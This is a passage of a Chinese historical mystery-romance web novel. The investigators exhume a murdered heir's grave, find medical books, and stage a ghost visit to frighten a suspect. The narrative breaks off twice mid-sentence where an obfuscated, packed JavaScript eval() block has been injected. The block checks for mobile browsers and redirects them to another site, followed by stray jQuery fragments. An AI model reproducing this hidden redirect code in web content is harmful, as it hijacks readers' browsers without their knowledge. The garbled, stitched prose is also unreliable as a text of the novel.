从刚才开始,她便觉得这两个人关系非比寻常,明明第一次见面的时候剑拔弩张,可现在裴砚又找陈晟帮忙,而陈晟也确实老老实实办好了,还大半夜上山帮忙挖坟。 薛嘉玉抿了抿嘴,思来想去还是出声打破了沉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15021528|162194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 默,“大人,敢问你们二人究竟是什么关系?” 裴砚不语,只得陈晟来解释:“我和他从小就是穿一条开裆裤长大的,没想到这狗东西年纪大了,脾气也跟着见长了,总喜欢跟我对着干。在学堂里跟我比学识,在学堂外跟我比才艺,什么都要跟我比一比,我都怀疑他是不是因为觉得我实在太光彩夺目了,所以心里面很是自卑,便处处都想要争。后来陈家分家,我的祖父搬到了洛阳,但我们的联系倒也没断,偶尔还是会聚一聚。再然后他如愿当上了少卿,我虽考上了探花,但没入仕,跟他合资在洛阳做生意。” 果然死对头都只是表面争锋相对。 薛嘉玉原本还以为这陈晟是个什么穷凶极恶的好色混蛋呢,现在看来他只是个好色公子。 夜里的洛阳总是刮起阵阵大风,砭人肌骨,薛嘉玉没有大氅可穿,被这冷风吹得瑟瑟发抖,她用力搓了搓手心,企图给自己制造一丁点虚弱的温暖。 一旁的陈晟留意到她在打寒颤,作势要将自己身上的大氅脱下来,“薛娘子可是觉得冷了?要不披着我的大氅吧?” 她连忙摇了摇头,跟摇拨浪鼓似的,“多谢陈公子,这大氅还是你自己披着吧。” 陈晟松开捏着带子的手,“姓裴的,你不该在此刻展现一下你的风度吗?” 裴砚捡起地上的树枝,拨开前面的草丛,顺带捶一锤前面的路面,以免不小心掉进捕兽坑里面。 “我可不像你,总爱做一些孔雀开屏的事情。” 幸亏周琅的坟墓并未埋在山顶,否则陈晟这位平日十指不沾阳春水的富贵公子就要累死在半山腰了。 他站在墓碑前,虚情假意地拜了一下,“挖吧。” 陈晟不情不愿地拿起铁锹开始挖土,薛嘉玉习惯了干粗活,安安静静地开始锄土。 可是她才刚挖了几下,手里的铁锹就被裴砚给一把抢夺了过去,他将铁锹插进泥土里,伸手将身上的鹤氅取下来,递给薛嘉玉,“披上,然后去旁边望风。” 她双手接过暖乎乎的大氅,福至心灵道:“谢谢大人。” 薛嘉玉把鹤氅小心翼翼地披在身上,上面还残留着裴砚身上的檀香味,浓郁醇厚,有一种很独特的甜味,闻着让人不觉心中安宁。 一旁的陈晟瞧见这一幕,不禁瘪了瘪嘴巴,把对某位重色轻友的人的气全都报复在了这座坟上面,他扬起铁锹,用力地落在土堆上,默默在心里骂了裴砚一万句。 两人奋力挖了将近一个时辰,才瞧见里面的棺材,陈晟站在土坑旁,将铁锹插进土里,手肘撑着铁锹,“这侯府怎么把坟挖这么深啊?” 裴砚把铁锹丢到一旁,面上冷若冰霜,“废话少说,跳进去。” “我?”陈晟用手指无辜地指着自己,“不行。我数三二一,咱俩一起跳进去。” 他早就习惯陈晟这副鬼模样了,裴砚瞧了眼寂静无声的四周,点了点头,无奈道:“行。” 三。 二。 一。 裴砚确实跟着他一起跳下去了,可是陈晟是个老实人,说是“跳下去”,他还当真是用跳的,毫不意外地掉在了棺材上面,差点没把他的门牙磕掉。 相反,裴砚则是滑下去的,落地方式比他优雅了不知道多少倍。 陈晟用手揉了揉开始发肿的嘴巴,“裴砚,你可就将就那位小娘子吧。” 15. 男妓 裴砚一边翻找着坑里埋着的大大小小的箱子,一边不过心地糊弄,“陈晟,你别张着那张嘴巴胡乱说话。” 陈晟没急着翻找东西,而是盘腿坐在棺材上,他双手抱在胸前,语重心长地开口:“我跟你说,你骗的过别人,骗的了自己,都骗不到我。你裴砚平日里对小娘子虽然不凶,但不至于这么贴心。她今日都没戴我给她的耳铛,怕不是你不让人家戴吧?你这人啊……看着嘴硬,其实心软,偶尔占有欲还贼强。不过呢,我看人家小娘子对你是没有半点心思的。” “她怎么可能对我有心思?她接近我是有目的的。”裴砚单手叉腰,将视线投到游手好闲的陈晟身上,“倒是你,要是一直坐在人家棺材上,恐怕周琅会直接坐起来索你的命。” 陈晟立刻利索地跳了下来,两手摸了摸手臂,顿觉毛骨悚然,“你这人说话的方式能不能改改?难怪小美人不喜欢你,都是你自作自受。” 坑里除了棺材,还埋着装着各种各样的金银珠宝,还有周琅生前爱喝的酒,看来侯府的人还算有心。 陈晟把这边所有的箱子都给打开了个遍,他单手叉腰,累得满头是汗,“这儿根本没什么古怪的东西啊。说不定人二老真的就是怕周琅在那边太孤单了。” 裴砚盯着手里的箱子,“这可不一定,你过来瞧。” 他踩在箱子上,摇摇晃晃地绕到裴砚的身边,只见裴砚手里的箱子里头装着《本草纲目》一类的医理书。 “哪儿奇怪了?” 裴砚将那些书拿出来,迅速地翻阅了一遍,“这些书上面都是关于人体穴位和中药的,而薛嘉玉说周琅是被一根银针刺中穴位而死的。” 陈晟还有一事不解,“哦,可这书要真是周辙的,那为什么他不直接烧了呢?何苦要留着?” 这一点,裴砚目前也还是没有想通。 “我也不知道,总之先拿走再说。” 裴砚抬头对着一望无际的黑夜唤了一声“薛娘子”。 薛嘉玉听见坑里的裴砚在叫她,立刻小步快跑到坑前,她蹲下身来,“怎么了?大人。” 他将那个装着医书的盒子递给薛嘉玉,“你小心点,莫要摔了进来。” 她伸手去够那个盒子,“我知道,我哪有那么笨?” 薛嘉玉将盒子拿稳后,就站起身来,往后一连退了好几步,离坑口远远的。 裴砚将那些陪葬品盒子堆在一起,他踩在晃晃悠悠的盒子上,两只修长白皙的手扒着坑口,撑起两只手臂,单膝跪在坑口,三两下就爬上来了。 反观“柔柔弱弱”的陈晟,他试着爬了好几次都没爬上来,裴砚实在看不下去,直接背过身去,最后还是薛嘉玉好言相劝,裴砚才施舍了一只手去坑里面捞他。 陈晟上来后,一改先前在坑里面是谄媚,他用力拍了拍身上的泥土,“你个狗东西,真没良心。” 裴砚本来好好地走在前面,听见这句话,立刻调头,提起右腿,威胁他,“你信不信我现在把你踹下去?” 听见这句话,他立刻怂了,两手抱着自己的屁股,“别,我错了,行了吧。” 裴砚瞧着薛嘉玉的脸上浮现了一丝倦怠,就大度地没有跟他继续计较下去。 下山的路上,依旧是裴砚走在前头,为他们二人探路。 薛嘉玉一边走着坑坑洼洼的石子路,一边打开怀里的盒子,里面只放着几本医书,“你们就拿了个这个上来?” 陈晟现在腰酸背痛,用手无力地捶了捶后背,“有本事你下去找找呗。这已经是我们能找到的最有用的了。” “可是这几本医书能够证明什么?” 裴砚垂了垂眸,回头冲身后同样眸光暗沉的陈晟交换了一个眼神,二人心领神会。 薛嘉玉毕竟与他们的事情不熟悉,所以不出意外地什么都没看明白。 但她也不好意思主动开口询问,要是涉及什么名门望族的秘辛,指不定哪一天就死得不明不白了。 到了山脚,陈晟就与他们二人分道扬镳,此刻街上十分寂静,只有他们两个人,忽然一股寒风扑面而来,虽然身上披着他的大氅,可薛嘉玉还是忍不住心中发怵,感觉自己浑身上下都渗透着一股凉意。 她抬起手,用手指扯了扯裴砚的袖子,“大人,我们快些回去吧,这儿都没人,感觉一不小心就会碰见一只孤魂野鬼。” 裴砚垂眸瞥了一眼她扯着自己袖子的手,那只手上还有好几个茧,“你平日里连死人都不怕,还会怕鬼?” “鬼和人不一样,鬼是人死之后由于生前还有某种心结或是没做完的事情而化成的,他们都有很浓重的执念。” 裴砚从不相信这些,摊了摊手,“所以呢?” 薛嘉玉跟他简直就是鸡同鸭讲,“所以要避着点,有的鬼不长眼睛,喜欢胡乱冲撞活人。” 他只当是薛嘉玉从小没了爹娘,所以才相信这世界上有鬼。 裴砚将她送回客栈房间后,就自行回屋洗洗睡了。 薛嘉玉刚回到厢房,就听见房门被人敲响,她已经开始对敲门声感到恐惧了。 她的心脏七上八下,推开门,却见门口站着的是好久未见的金羽。 薛嘉玉不禁在心里面松了口气,“金羽?好久都没见到你了,你去哪儿了?” 金羽将手中捏着的信件递给她,“大人吩咐我去查一件事情了。这是崔娘子拜托我交给你的信。” 她伸手结果这封信,“多谢。” 薛嘉玉转身将信件拆开,信上的字迹苍劲有力,墨水渗透纸背,想来崔景天写信的时候一定是慷慨激昂的。 信上说:阿玉,如今我已将中馈转交给冯夫人,也与侯府毫无瓜葛了。为了庆祝我终于逃脱了那吃人的侯府,明日酉时我们在长乐坊不见不散、不醉不归! 透过这封信,薛嘉玉都能想象到她写这封信的时候,脸上带着多么猖狂的笑容。 她收好这封信,拿着换洗衣服到屏风后换好,接着便侧躺在床上,然而她却辗转反侧,怎么也睡不着。 她在想,今天的裴砚怎么如此反常? 给她买饭,给她买胭脂,给她递鹤氅,而且居然还良心大发,不让她去挖坟。 他怎么这么奇怪? 若是为了补偿自己,万万没有必要做到这个份上。 所以这究竟是为什么呢? 薛嘉玉绞尽脑汁,也没有想出个所以然来,她用被子盖住脑袋,强迫自己不去想今天发生的种种事情。 大抵过了半个时辰,她才带着满腹疑虑睡着了。 以至于她第二日睡到了日上三竿,就连裴砚叫她起来吃午饭,她都没有听到。 昨夜她并没有睡得很好,薛嘉玉强行拖着浑浑噩噩的脑袋走到楼下,向店小二点了几盘菜,她两手搁在桌子上,双眼闭着,用手指揉着发疼的太阳穴。 这时,她的耳畔响起了“咚咚咚”的敲击声。 她睁开双眼,入目的是一只白皙的手,手指修长,手背上还隐隐约约能够看见一两条青筋。 薛嘉玉顺着这只手一路往上瞧,最后停留在了那张熟悉的侧脸上,裴砚的侧脸线条明晰冷峻,但他今日眉眼含笑,瞧着心情十分不错。 “大人?” “昨夜做什么去了?这么晚才起来。” 她当然不会告诉他自己昨晚在想他为什么忽然间有了人味,只道:“当然是跟着大人一同上山挖宝了啊。” 薛嘉玉忽然想起了昨夜那封信件,她怕裴砚临时找她有事,也不想爽约,便提前跟裴砚说好,“对了大人,今晚我和景天一同出去玩会儿。” 裴砚没有说什么,只让她和崔景天注意安全,莫要去那些酒楼,免得碰上什么难缠的醉鬼。 她连连应是。 到了酉时,薛嘉玉按时出现在长乐坊门口,她这次施了点粉黛,耳朵上也戴上了那对珍珠耳铛,崔景天一时间差点没有认出来。 她的脸上施了脂粉,面色比起之前红润了不少,嘴唇还用了浅红色胭脂,衬得薛嘉玉的五官愈加娇俏,终于有了一副她这个年纪的小娘子应当有的模样。 “今儿个打扮得这么好看,一定要陪我不醉不休才是。”崔景天单手揽过她的腰肢,凑到她的耳畔,坏笑道:“其实裴砚一直有件事情没有告诉你,这长乐坊不仅有舞姬,还有陪酒的男妓。” 闻言,薛嘉玉瞳孔微震,“男妓?” 崔景天绕到她的眼前,伸出手指冲她勾了勾,媚眼如丝,声音勾魂摄魄,“来,今夜本姑娘带你见识见识。” 她就像是个从乡野来的村妇一样,一路上都跟着崔景天,看着她如鱼得水地找老板娘选男妓,薛嘉玉忽然间意识到了自己和她之间的鸿沟。 不过,这条鸿沟她迟早能够靠自己逾越。 崔景天靠在椅背 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15025378|162194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上,面前站着五位玉树临风、身材颀长的年轻男子,她选了位看着有些羞涩的男子,那男子伺候贵女们惯了,小鸟依人地靠在她身边,为她满上酒盏。 “阿玉,你也选一个。” 面前这几个男子中没有一个是她比较喜欢的,薛嘉玉干脆一甩手,将他们全都打发走了。 崔景天好奇一问:“怎么了?是怕被裴砚指责吗?” 薛嘉玉摇摇头,轻笑一声,“自然不是,只是不太喜欢他们的长相罢了。” 她身边的男子很会察言观色,发觉这两位女子关系甚好,便福至心灵地拿起酒壶,给薛嘉玉也满上一杯。 “莫非你是喜欢裴砚那般好的皮囊?” 薛嘉玉正喝着酒呢,听见她这一句话,惊得差点把嘴里含着的酒全都喷了出来,她咳咳几声,“怎么会?即使他面容姣好,可他脾气不太好,我不喜欢。” 见她反驳地这么迅速,崔景天也没继续这个话题。 只听薛嘉玉问:“对了,这冯夫人为何这么着急就要收回中馈?” “俗话说,一个被窝里睡不出两种人。冯夫人和周辙都是喜欢掌事的人,只有手中握有权力,他们方才能够安心。他们俩觊觎侯府管事之权已然很久了,况且与其说是觊觎中馈,倒不如说是觊觎平远侯这个身份。” 觊觎平远侯这个身份? 医书? 银针刺穴? 薛嘉玉将这三件事情联系在一起,心中忽然间有些惴惴不安。 这男妓空有美貌,肚子里没半点墨水,对于崔景天来说,过过眼瘾即可,但凡多聊几句,就知道自己和男妓尿不到一个壶里,便抬了抬手,将他屏退下去。 崔景天瞧她似是有些心事重重,便左手捏起下垂的袖子,右手捻了一块酥油糕,直截了当地塞进了她的嘴里,“莫要烦忧,若周琅的死查不明白也没关系。来,吃点甜的。” 她将手掌心摊在下巴的位置,以免酥油糕掉了,薛嘉玉三两下把酥油糕吞进肚子里,“我只是突然间对这件事情有了点苗头。会不会是因为周辙觊觎平远侯这个爵位,所以下手?” 听及此,崔景天好似突然想到了一件事情,“其实侯府这么多年一直不安宁是因为多年前的一件事情。” 四十多年前,周琅的祖父周杨因带兵打仗,平定了北方骚乱,且向北占领了整整了四个部落,为朝廷扩展疆域立下了汗马功劳,因而武帝封他为平远侯。 而周杨不负圣恩,不仅继续带兵踏平东南西北,让边境百姓再也不用整日过得惶恐不安,而且教子有方,两个孩子都跟着习武,且天资不俗。 不过周骋更擅长领兵打仗,周辙则擅长在幕后谋划。 待二人及冠后,也随着周杨驻扎军营。 几年后,兄弟俩默契配合,顺利将远在千里外的琉球收复,解了武帝心中大患。 然而所有人只欢呼领兵打仗的周骋,没有人记得在背后出谋划策的周辙,就连圣上对周骋的封赏也更丰厚一些,久而久之,周辙的内心逐渐不平衡起来。 之后,四方皆因忌惮这兄弟俩,而安稳起来,不敢肆意滋扰边境。 兄弟俩便也更加关注后宅之事。 等到周杨日薄西山之时,周辙本以为他会看在自己之前也立下了不少功劳的份上,向圣上为他讨一个爵位,哪怕是个子爵也行。 然而周杨并没有,他将大部分家产都留给了周骋,周辙不解,哭着趴在床边问:“爹,你为何如此偏心他?” 周杨只道:“你哥哥他这么多年领兵打仗,在身上留下了累累伤痕,触目惊心,我这个做爹的应该补偿他,你也应该理解。” 待周杨过世,周骋理所当然地承袭了平远侯的位置,而他只有周琅这么一个儿子,周琅自小便知道自己是要成为平远侯的人,所以对于读书习武并无甚兴趣,大抵又因为他是生于安乐的人,因而只知道贪图享乐。 周辙自然看不过这样的酒囊饭袋承袭爵位,这简直就是玷污了“平远侯”这三个字,明明这爵位是父亲在边疆拼死拼活得来的,凭什么要交给一个都不会武功的人? 因而他总是想要夺过侯府,好让自己的儿子承袭爵位。 崔景天端起酒杯,忍不住摇了摇头,“其实我也能理解周辙,可我觉得他不至于为了爵位做到这个地步。” “未必,一个嗜权如命的人什么都能做的出来。” 16. 扮鬼 崔景天眨了眨眼,迟疑道:“可我们没有证据能够证明他做了这些事情啊。” 薛嘉玉将酒杯中的果酒一饮而尽,她用冰凉的手掌心贴在微微发红的脸颊上,“也是。罢了,大人他自然是会去找的,我就不操心这件事情了。” 她两手撑着桌面,摇摇晃晃地站起来,崔景天双眼有些迷离,“我送你回客栈吧,要是再不回去的话,恐怕裴砚要唯我是问了。” 薛嘉玉也同样撑着桌面强行站了起来,她四肢乏力,但还是要比崔景天清醒不少的,“你能送我回客栈吗?” “当然可以。” 说着,崔景天为了证明自己没有喝醉,站在原地转了几圈后,又迈着轻飘飘地步子走了几步,她骄傲地摊了摊手,“你看,我没醉。” 可实际上……两个人是互相搀扶着走出长乐坊的。 方才转了几圈后,崔景天忽地感觉到自己的胃里开始翻汤倒海,想吐但又不想在大街上吐,只好强行忍着心中的不适。 然而两个人刚往前走了几步,就有一个喝醉酒的壮汉挡住了她们的去路,薛嘉玉自知不能惹喝醉酒的人,就拉着崔景天绕到一旁去。 但她们走到哪儿,壮汉就跟到哪儿。 壮汉一手拍拍啤酒肚,一手抬起,挡住她们,“小娘子,长得这么娇俏可人,不妨陪本大爷玩玩儿?” 薛嘉玉一脸嫌弃地向他啐了一口,“滚!” 壮汉用手抹了把脸,他的手臂比薛嘉玉的大腿还要粗,只见他从腰间抽出一把亮堂堂的匕首,“哟,这位小娘子还挺有脾气的啊,本大爷很喜欢。不过今夜你俩要是不陪陪我,那我就只好那你们俩卖个好价钱。” 崔景天原本迷迷糊糊地趴在她的肩膀上,一瞧见面前的男人掏出了一把刀,她吓得立刻酒醒了,紧接着下意识地死死扣住男人的手腕,用手指甲插进他的皮肤里,薛嘉玉看准时机,一把抢过他手里的匕首。 没了匕首,壮汉的脸色瞬间变黑,他揉了揉手腕,活动筋骨,“没想到我有一天居然会败给两个贱娘们儿!” 话音刚落,壮汉就叫出几个身材孔武有力的男人,一个人还好,好几个人的话,崔景天和薛嘉玉是万万应付不过来的。 更何况她们二人还喝了酒! 薛嘉玉的额头上登时冒出一股冷汗,头皮发麻,她佯装镇定,此刻硬刚自然是不可能的,只能智取。 这时,她的视线中忽然有一位穿着花花绿绿衣裳,手中拿着一把梅花扇的男子闯了进来。 薛嘉玉心道:抱歉了陈公子,这时候只能把你顶出去了。 她用手指指着前方悠闲的陈晟,“你们看,那人手里拿着石子,正朝你们丢过来呢。” 听见身后有人,那几位壮汉默契地回过头去看是何方神圣。 趁着他们扭头之际,她们弯下腰,立刻拔腿就跑,跑得简直比汗血宝马还快! 陈晟莫名其妙地盯着面前这几位壮汉,方才他也瞧见了这几人似乎是要对那两位娘子做什么坏事,无奈他今日出行并未佩剑,只得捡起地上的碎石子,看准时机先发制人,每颗石子都精准地击在了那几人的脑门上。 然后趁对面的人尚未缓过神来,立刻调头就跑。 陈晟迅速地追上了将他卖掉的薛嘉玉,他这下靠近了,才注意到她身边的这位小娘子是周琅的正妻。 他饶有兴趣地挑了挑眉,打开扇子,不疾不徐地扇着,“这位美娇娘就是崔娘子了吧。” 崔景天听见有人叫她,便立刻抬起头来,猛地凑到陈晟眼前,与他仅一指之距,她眨巴眨巴眼睛,“你是?” 二人距离太近,陈晟的耳尖不禁染上一层绯红,他往后缩了缩脖子,收起刚才那副浪荡公子模样,转而变得正经起来,“我是陈晟,以前在婚礼上遥遥见过一面。” 她对面前这个人的脸蛋并没有什么记忆,崔景天站直身子,忍不住打了个酒嗝,“哦,陈公子啊。我听过这个名,就是和周琅狼狈为奸的那个人。” “没有狼狈为奸,我可不是周琅那种坐吃山空的酒囊饭袋。” 薛嘉玉倒是没料到他居然这么快就甩掉那些人跟了上来,心中不免诧异,“陈公子,你是如何甩掉——” 话尚且没有说完,就被一阵突如其来的呕吐声给打断了。 崔景天牵着她的手,弯腰开始对着地面呕吐,她只觉得自己此时此刻简直狼狈至极,想立刻打个洞钻进去。 更加不幸的是,陈晟那身定制的——全洛阳独一无二的——长袍也没有避免呕吐物的袭击。 薛嘉玉连忙替她向陈晟道歉,“陈公子,你莫要生气啊,她是喝多了,不是故意的。” 吐了之后,崔景天倒是清醒了不少,她瞧见陈晟的长袍上沾染了一大坨恶心的粘稠物,紧闭双眼,咬紧牙关,想立刻从这里原地消失。 “抱歉陈公子,这件长袍多少价钱?我原价赔给你。” 陈晟不忍直视自己的长袍,他摆了摆手,“罢了,看你喝得烂醉的份上,赔偿就免了。你们俩都喝的这么醉,不妨我送你回去吧。” 说罢,崔景天就被他给强行拉走了。 只留下薛嘉玉一人在风中凌乱。 分明是两个人喝醉了,只送走一个人这算什么? 她仰头对着天空轻叹一口气,罢了罢了。 可是当她回到客栈的时候,却见裴砚站在门口,身着一袭红色长袍,腰间系着一条黑色腰带,显得他肩宽腰窄。 瞧见薛嘉玉终于玩完回来了,裴砚的心里顿时松了口气,他立在原地,高马尾随风飘起,他抬起手臂冲着她招了招,“过来。” 她噔噔噔地跑过去,总觉得眼前的像是幻觉一般,“大人,你怎么站在这儿啊?” “这不是瞧着时间已然不早,你还没回来,怕你出事,又不知道你去哪儿了,就只好在这门口等你回来。” 裴砚闻到她身上散发出一股淡淡的青梅酒味道,他微微皱了皱眉,脸色有些不悦,他早该想到崔景天带她出去定然会去酒楼那种地方。 “你们小娘子结伴出去还是莫要喝酒,以免遭遇不测。” 薛嘉玉的脑海中蓦地浮现出先前那几个壮汉的模样,但她没有把那件事情说出来,不然裴砚肯定要拉着一张驴脸狠狠教训她一顿。 他瞧着薛嘉玉有些走神,“怎么了?” 她回过神来,一连摇了好几次头,“没什么。多谢大人还惦记着我。” “我一会儿让小厮给你送一碗醒酒汤上来,一定要喝。” 薛嘉玉喝了小酒后,脾气就比之前更大了,她嘟着嘴巴,“裴大人怎么这么喜欢插手我的事情?” “你是我的侍女,也是我的帮手,我自然要管你。” 这话他倒是说得理直气壮。 她站在台阶上,两手插在腰间,与裴砚平视,一股脑地向他控诉:“那为什么你的事情从来不让我插手,也从来不告诉我?其实你早就知道是谁害了周琅吧,也一早知晓侯府内部的纠葛。但你从来没有跟我提起过,你根本就不信任我,只知道一味的利用我。” 裴砚身子一僵,怔愣了一瞬,随即撇过头道:“你不也是在利用我吗?” 薛嘉玉忽然间不说话了,倏地转过身去,踩着楼梯上楼,回到房里,她坐在松软的床榻上,觉得心里面好乱,也察觉到自己刚才属实有些失态。 她一个领月俸的,凭什么去质问老板? 要是明天被炒鱿鱼了,那也是她罪有应得。 “啊啊啊啊啊啊!” 她烦躁地甩掉鞋子,在床上来回滚了好几下,盘算着要不要去给裴砚道个歉?好歹自己还有求于他,还是得要多捧着他一点才是。 那该如何道歉才好呢? 薛嘉玉默默打着腹稿,打着打着她就莫名其妙地睡着了,连被子都没盖好,所以第二天早上她是被冷醒的。 她一连打了好几个喷嚏,连忙到屏风后面换成厚厚的裙袄,薛嘉玉推开窗户,发现这洛阳的天真是一日比一日冷了。 这时,一团寒风一股脑地灌进来,瞬间席卷了整间屋子,薛嘉玉连忙将窗户关得严严实实的。 她两手抱臂,忍不住打了一个哆嗦。 昨日裴砚并没有跟她说今日要去做什么,薛嘉玉心里面又还挂念着昨夜自己口出狂言的事情,便只好主动过去敲响了他的大门。 裴砚显然也是才睡醒,他睡眼朦胧,头发并未束起,自然地洒在背上,“薛娘子找我所为何事?” “昨夜我喝醉了,所以说出来的话都是不过脑子的,并非我心中所想。” “无碍,还有事吗?” 薛嘉玉眼珠子骨碌一转,大步一迈,嗖的一下钻进了他的房间,然后神神秘秘地将门合上。 “大人,既然你已知晓周辙嫌疑甚答,那现在当如何行动?” 关于这件事情,裴砚心中尚未有一个定论,不过他倒是觉得薛嘉玉脑子里兴许有了个法子,“薛娘子向来聪慧狡猾,想必心中应当有法子了吧?” 她抬起手臂,挠了挠头发,哈哈干笑两声,“确实有个法子,只是不知道能不能行。” 不管是什么猫,只要能抓到老鼠就成。 裴砚道:“你且说来听听。” 这日夜里,裴砚一个八尺男儿竟然被薛嘉玉压在梳妆台前坐下,脸上抹上了一团叫不出名字来的脂粉。 薛嘉玉用螺子黛仔细给他描了描眉,接着将口脂递给他,让他抿一抿。 他迟疑地从薛嘉玉手里接过大红色口脂,随即又将视线投到镜子里那张白得像是死了好几年的 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他迈着缓慢的步伐来到冯婉珠的床榻前,妇人正躺在床上酣然睡着。 此刻,窗户纸被外面打配合的金羽戳破,他从外面吹了一些烟进来,烟雾很快在房中弥漫。 裴砚用手拍了拍冯婉珠的手臂,“二伯母,二伯母,莫要继续睡了。” 冯婉珠听见有响声,便不耐烦地睁开眼睛,正打算传唤侍女进来,就瞧见自己面前出现了一个脸色惨白,双唇绯红的人,他身着白衣,乌黑的头发随着弯腰的动作而垂落在了脸前。 她吓得立刻死死揪住被子,下意识往后面缩了缩,不知是不是因为惊吓过度,居然都忘记叫人了。 冯婉珠听见了这人方才一口一个“二伯母”,她顿时冷汗涔涔,抬起手臂擦了擦额头上不断冒出的薄汗,“谁是你二伯母?这里可是侯府,莫要在这儿装神弄鬼,否则定叫你吃不了兜着走。” 裴砚委屈地皱起眉头,他又将那张骇人的脸凑近了些,“二伯母,您怎能这么说呢?我是琅儿啊,这才刚过头七,您就把我忘得一干二净了。” “周琅?!”冯婉珠此时也顾不上什么面子了,她手脚并用,瞬间退到了靠墙的位置,“你都死了,怎么还是阴魂不散!” “琅儿死不瞑目,在九泉之下不得安息,只能重返人间,来找二伯母和二伯父寻寻乐子。” 房中烟雾缭绕,且此时尚未点灯,四周昏暗,冯婉珠又被吓得有些魂不守舍,瞧见面前那张鬼脸渐渐变得模糊,便以为自己当真是见着鬼了! 冯婉珠是个色厉内荏的人,她的眼神飘忽不定,掀起被子围住自己的上半身,“你的死跟我没半点关系,休要来找我索命!” “是么?可我永远记得那个人当时是拿着一枚银针刺进了我的脖子,而你们也很贴心地往我的坟里放了几本医书。” 裴砚猛地用两只手掌心撑着柔软的床榻,他低着头,抬起眼神直直地凝视着面前瑟瑟发抖的冯婉珠,一双眸子十分阴鸷,“怎么?难道你们这是怕琅儿到了地府还会同样惨遭毒手吗?二伯母,你可莫要让琅儿就这么不明不白就死了啊。” 冯婉珠哆哆嗦嗦地用被子裹好,结结巴巴地说:“你那好友陈晟在你死后还整日去花天酒地,也未曾来灵堂看过你,你怎么不去找他呢?” “谁最有可能害死了我,那我便去找谁。” 说着,他慢悠悠地直起身子,冷冷的目光扫在冯婉珠的身上,裴砚不紧不慢地开口:“二伯母,小心遭报应啊。” 轻飘飘地丢下这句话后,裴砚便踏着鬼步溜了出去。 冯婉珠久久不能缓过神来。 金羽快步跟上他,“大人,没想到你扮鬼还是有一套的啊。” 裴砚现在可不想听这些马屁,只想快些回到客栈,把这脸上的脂粉全都洗掉,今夜真是他人生中最羞耻的一晚。 他堂堂长安裴家二公子,竟也有扮鬼吓人的一天。 他们二人轻手轻脚地翻墙出去,却不见来这儿接应的薛嘉玉。 裴砚往前走了几步,瞧见黑暗中有一个人靠着墙角,双手抱着腿,身前裹着他的披风,就这么在寒风中睡着了。 他默默在心里长叹口气,裴砚悄悄走过去,拎起她身上的披风,抬起腿冲着她的屁股踢了一脚。 察觉到外界有危险,薛嘉玉猛地捂住刚才被踢的屁股,从地上跳了起来,她还以为是侯府的人发现了自己,结果是裴砚踢了她一脚。 “大人,你踢我作甚?” 裴砚撇了撇嘴巴,面上透露着一种无奈,兴师问罪,“你不是说在外面接应吗?怎么还睡着了?” 17. 医书 薛嘉玉知道自己有错在先,一时间也找不到合适的理由搪塞过去,只好乖乖低头认错,“我错了,大人。” 谅在她也并没有酿成大祸的份上,裴砚便也没有同她斤斤计较,他将披风系好,“罢了,这次就先放你一马。” 金羽忍不住在后面捂嘴偷笑,发觉前方的裴砚回头冷冷瞧了自己一眼,立马学着裴砚平日的样子,拉着个驴脸,不苟言笑。 路上,二人并肩而行,裴砚用手整理额前的头发,“冯夫人一向忌惮鬼神,经今晚这么一吓,恐怕明日便会去周琅的墓前,你就拿着那个装着医术的盒子,与崔景天一块去瞧瞧。” “那你呢?大人。” 他单手背在身后,一副老气横秋的模样,“明日我得和陈晟一同去处理一些生意场上的事情。” 薛嘉玉自知不应多问,一路不语,回到客栈也是早早就洗洗睡了,翌日醒来之时,她担心今日会遭遇不测,就将一直藏在袖口中的一支锋利的发簪取了出来,然后小心翼翼地戴在自己的发髻上,生怕一不小心就用力过猛,戳进自己的头皮里面去了。 待全都收拾好后,她便关上门,急哄哄地跑下楼,门口的崔景天瞧她跑得这么着急,怕她不当心摔着,连忙对她说:“你慢点,莫要着急,她也才刚刚离府。” 薛嘉玉亲切地挽上她的臂弯,与她聊了好一会儿女子间的体己话,随后才正了正脸色,问:“对了,你可知冯夫人离府前都做了些什么?” 他们之间的计划,崔景天是略知一二的,裴砚也提前知会过一声,让她好好盯着周辙夫妇俩平日的一举一动。 崔景天单手叉腰,歪着脑袋回忆了一下,“这冯夫人离府前先去了一趟书房,不知道是与周辙在聊什么,只是没聊上多久,这周辙便开始吼了起来,他们的脸色皆算不上多好。” 见薛嘉玉沉默不语,她笑着摆摆手,“莫要纠结这件事情了,一会儿去了山上不就全都知道了嘛。” “也是。”薛嘉玉连连点头,她看向崔景天的眼神中带着好奇,“对了,那夜陈晟把你带走后都发生了什么?” 提到这个,崔景天的脸瞬间耷拉下俩,她完全不想回忆那天晚上,为什么那一夜的酒不足以让她忘却所有的事情呢? 她视死如归地回答:“别提了,那夜他好心送我回去,但我实在喝得太醉,路都走不稳,陈晟便把我背在背上,结果我没忍住又吐了他一身,他那个僵硬的表情,我这辈子都难以忘却。想我堂堂一个户部尚书嫡女,居然也会有在外人面前丢脸的时候。” 薛嘉玉也默默在心里面为她捏了一把汗。 “你且宽心,陈晟是个心胸宽广的花花公子,定然不会一直记挂此事的。” 至于陈晟记不记挂这件事情,崔景天并不关心,她只是觉得自己实在是太没面子了,恐怕以后都得要躲着他一点,不然一碰见他,脑袋里就会情不自禁地冒出那几幕尴尬至极的画面。 